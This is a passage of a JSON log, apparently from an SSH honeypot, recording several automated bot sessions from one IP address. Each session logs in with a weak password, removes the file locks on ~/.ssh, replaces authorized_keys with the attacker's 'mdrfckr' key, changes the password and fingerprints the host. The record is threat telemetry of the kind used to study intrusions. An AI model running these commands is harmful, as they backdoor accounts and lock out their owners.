.ssh","started_at":"2026-08-26T17:52:45.810411+00:00","ended_at":"2026-08-26T17:52:47.218282+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2241,"events":[{"seq":1,"at":"2026-08-26T17:52:22.977021+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:52:23.509003+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:52:28.538881+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:52:29.311344+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:52:29.841513+00:00","kind":"input","latency_ms":null,"data":"echo -e \"b1\\nGRhF5CqKIlLq\\nGRhF5CqKIlLq\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:52:30.370541+00:00","kind":"input","latency_ms":null,"data":"echo \"b1\\nGRhF5CqKIlLq\\nGRhF5CqKIlLq\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:52:30.903298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:52:31.670606+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:52:32.203141+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:52:33.448369+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:52:33.976468+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:52:35.212944+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:52:35.743675+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:52:36.501937+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:52:37.039121+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:52:37.579152+00:00","kind":"output","latency_ms":null,"data":" 17:52:37 up 6 days, 14:42, 0 user, load average: 0.25, 0.22, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:52:38.105174+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:52:38.705181+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:52:39.231151+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:52:39.518106+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:52:40.054785+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:52:40.422715+00:00","kind":"output","latency_ms":null,"data":"top - 17:52:40 up 6 days, 14:42, 0 user, load average: 0.25, 0.22, 0.19\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:52:40.950929+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:52:41.687509+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:52:42.215522+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:52:42.677417+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:52:43.205262+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:52:43.914198+00:00","kind":"output","latency_ms":null,"data":"b1"},{"seq":29,"at":"2026-08-26T17:52:44.444702+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:52:45.284321+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:52:45.811225+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:52:47.048458+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"b1","password":"b1","method":"password","accepted":true,"tier":"other"}]} {"id":"85e5618c-019d-4ab9-b5ec-763679292810","name":"brave-mighty-otter","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":51704,"username":"administrator","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:49:45.923841+00:00","ended_at":"2026-08-26T17:49:47.279948+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2272,"events":[{"seq":1,"at":"2026-08-26T17:49:22.510341+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:49:23.037547+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:49:28.043207+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:49:28.849863+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:49:29.376811+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password@123\\n73dA3rl8lDvc\\n73dA3rl8lDvc\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:49:29.898517+00:00","kind":"input","latency_ms":null,"data":"echo \"Password@123\\n73dA3rl8lDvc\\n73dA3rl8lDvc\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:49:30.433523+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:49:31.048193+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:49:31.571006+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:49:32.939914+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:49:33.470803+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:49:34.785734+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:49:35.312351+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:49:35.877116+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:49:36.399205+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:49:36.880593+00:00","kind":"output","latency_ms":null,"data":" 17:49:36 up 6 days, 14:39, 0 user, load average: 0.08, 0.08, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:49:37.404842+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:49:37.922898+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:49:38.451541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:49:39.344317+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:49:39.869405+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:49:40.711210+00:00","kind":"output","latency_ms":null,"data":"top - 17:49:40 up 6 days, 14:39, 0 user, load average: 0.08, 0.08, 0.05\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:49:41.238339+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:49:41.700126+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:49:42.229428+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:49:42.652849+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:49:43.179308+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:49:43.510407+00:00","kind":"output","latency_ms":null,"data":"administrator"},{"seq":29,"at":"2026-08-26T17:49:44.045726+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:49:45.398284+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:49:45.924840+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:49:47.114518+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"administrator","password":"Password@123","method":"password","accepted":true,"tier":"other"}]} {"id":"b28b3946-f40a-4a62-aad3-426a0baa5ba0","name":"ginger-blithe-oxpecker","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":45198,"username":"camera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":527,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:46:44.963741+00:00","ended_at":"2026-08-26T17:46:46.472443+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-26T17:46:21.503289+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:46:22.083284+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:46:27.536234+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:46:28.312858+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:46:28.835815+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nMMl8dxTLe25A\\nMMl8dxTLe25A\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:46:29.356734+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nMMl8dxTLe25A\\nMMl8dxTLe25A\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:46:29.881856+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:46:30.483090+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:46:31.017371+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:46:32.197257+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:46:32.724519+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:46:33.927474+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:46:34.453256+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:46:34.984807+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:46:35.509722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:46:35.993322+00:00","kind":"output","latency_ms":null,"data":" 17:46:35 up 6 days, 14:36, 0 user, load average: 0.24, 0.18, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:46:36.519657+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:46:37.387475+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:46:37.923908+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:46:38.564297+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:46:39.096377+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:46:39.549346+00:00","kind":"output","latency_ms":null,"data":"top - 17:46:39 up 6 days, 14:36, 0 user, load average: 0.24, 0.18, 0.21\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:46:40.074622+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:46:40.841259+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:46:41.371493+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:46:41.847531+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:46:42.424109+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:46:42.695346+00:00","kind":"output","latency_ms":null,"data":"camera"},{"seq":29,"at":"2026-08-26T17:46:43.233154+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:46:44.442702+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:46:44.964627+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:46:46.302826+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"camera","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"8362a899-814a-4232-9e21-5f7d15ea2953","name":"ruddy-ancient-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":58700,"username":"osadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":528,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:43:45.444701+00:00","ended_at":"2026-08-26T17:43:46.470951+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-26T17:43:22.721279+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:43:23.239964+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:43:28.643305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:43:28.951698+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:43:29.495340+00:00","kind":"input","latency_ms":null,"data":"echo -e \"osadmin\\nI5IpAT1zqByy\\nI5IpAT1zqByy\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:43:30.037395+00:00","kind":"input","latency_ms":null,"data":"echo \"osadmin\\nI5IpAT1zqByy\\nI5IpAT1zqByy\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:43:30.582082+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:43:30.866220+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:43:31.405509+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:43:32.469274+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:43:33.007081+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:43:33.809699+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:43:34.341676+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:43:35.031477+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:43:35.558139+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:43:35.878136+00:00","kind":"output","latency_ms":null,"data":" 17:43:35 up 6 days, 14:33, 0 user, load average: 0.03, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:43:36.409956+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:43:37.047794+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:43:37.568121+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:43:38.424712+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:43:38.953807+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:43:39.702278+00:00","kind":"output","latency_ms":null,"data":"top - 17:43:39 up 6 days, 14:33, 0 user, load average: 0.03, 0.02, 0.03\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:43:40.228550+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:43:40.917248+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:43:41.444763+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:43:41.940143+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:43:42.470820+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:43:43.006076+00:00","kind":"output","latency_ms":null,"data":"osadmin"},{"seq":29,"at":"2026-08-26T17:43:43.534303+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:43:44.922176+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:43:45.445484+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:43:46.305294+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"osadmin","password":"osadmin","method":"password","accepted":true,"tier":"other"}]} {"id":"1c769f06-f9f6-43a3-b9d6-eb995d5ad61e","name":"shifting-granite-puffin","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":36146,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":528,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:40:50.947543+00:00","ended_at":"2026-08-26T17:40:52.293510+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-26T17:40:28.571778+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:40:29.091379+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:40:34.181792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:40:34.932417+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:40:35.456519+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user\\nEzUmJhz9JCjZ\\nEzUmJhz9JCjZ\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:40:35.984787+00:00","kind":"input","latency_ms":null,"data":"echo \"user\\nEzUmJhz9JCjZ\\nEzUmJhz9JCjZ\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:40:36.525457+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:40:37.008992+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:40:37.552175+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk 